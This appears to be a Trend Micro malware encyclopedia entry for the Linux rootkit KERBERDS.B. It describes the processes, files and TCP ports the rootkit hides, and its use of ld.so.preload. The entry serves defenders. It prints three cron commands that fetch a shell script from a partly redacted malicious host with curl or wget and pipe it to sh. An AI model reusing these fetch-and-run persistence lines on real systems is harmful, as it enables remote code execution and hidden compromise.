Rootkit.Linux.KERBERDS.B

 Analysis by: Jemimah Mae Molina

 ALIASES:

HEUR:Rootkit.Linux.Processhider.b (KASPERSKY)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Rootkit

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet


This Rootkit arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be dropped by other malware.

  TECHNICAL DETAILS

File Size:

26,216 bytes

File Type:

ELF

Memory Resident:

Yes

Initial Samples Received Date:

24 Oct 2019

Payload:

Hides files and processes, Connects to URLs/IPs

Arrival Details

This Rootkit arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be dropped by the following malware:

Other Details

This Rootkit does the following:

  • It is used by Trojan.Linux.KERBERDS.UWEJL for its rootkit capabilities.
  • It displays a fake instance of the CPU usage.
  • It hides processes with the following names:
    • defr_wqs
    • a64-unpacked
  • It hides files with names containing any of the following strings:
    • defr_wqs
    • ld.so.preload
    • libBrokenLocalec.so
  • It hides TCP connections which satisfy any of the following conditions:
    • Local TCP port = 51640
    • Remote TCP port = 51640
    • Remote TCP port = 6379
    • Remote TCP port = 22
  • It connects to the following URL(s) to download and execute another shell script:
    • http://lsd.{BLOCKED}ten.org
  • It creates the following cron jobs to enable automatic execution of a shell script found in lsd.{BLOCKED}ten.org:
    • Path: /etc/cron.d/root
      Schedule: Every 10 minutes
      Command: */10 * * * * root (curl -fsSL http://lsd.{BLOCKED}ten.org||wget -q -O- http://lsd.{BLOCKED}ten.org)|sh
    • Path: /var/spool/cron/root
      Schedule: Every 15 minutes
      Command: */15 * * * * (curl -fsSL http://lsd.{BLOCKED}ten.org||wget -q -O- http://lsd.{BLOCKED}ten.org)|sh
    • Path: /var/spool/cron/crontabs/root
      Schedule: Every 30 minutes
      Command: */30 * * * * (curl -fsSL http://lsd.{BLOCKED}ten.org||wget -q -O- http://lsd.{BLOCKED}ten.org)|sh

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.450.07

FIRST VSAPI PATTERN DATE:

24 Oct 2019

VSAPI OPR PATTERN File:

15.451.00

VSAPI OPR PATTERN Date:

25 Oct 2019

Scan your computer with your Trend Micro product to delete files detected as Rootkit.Linux.KERBERDS.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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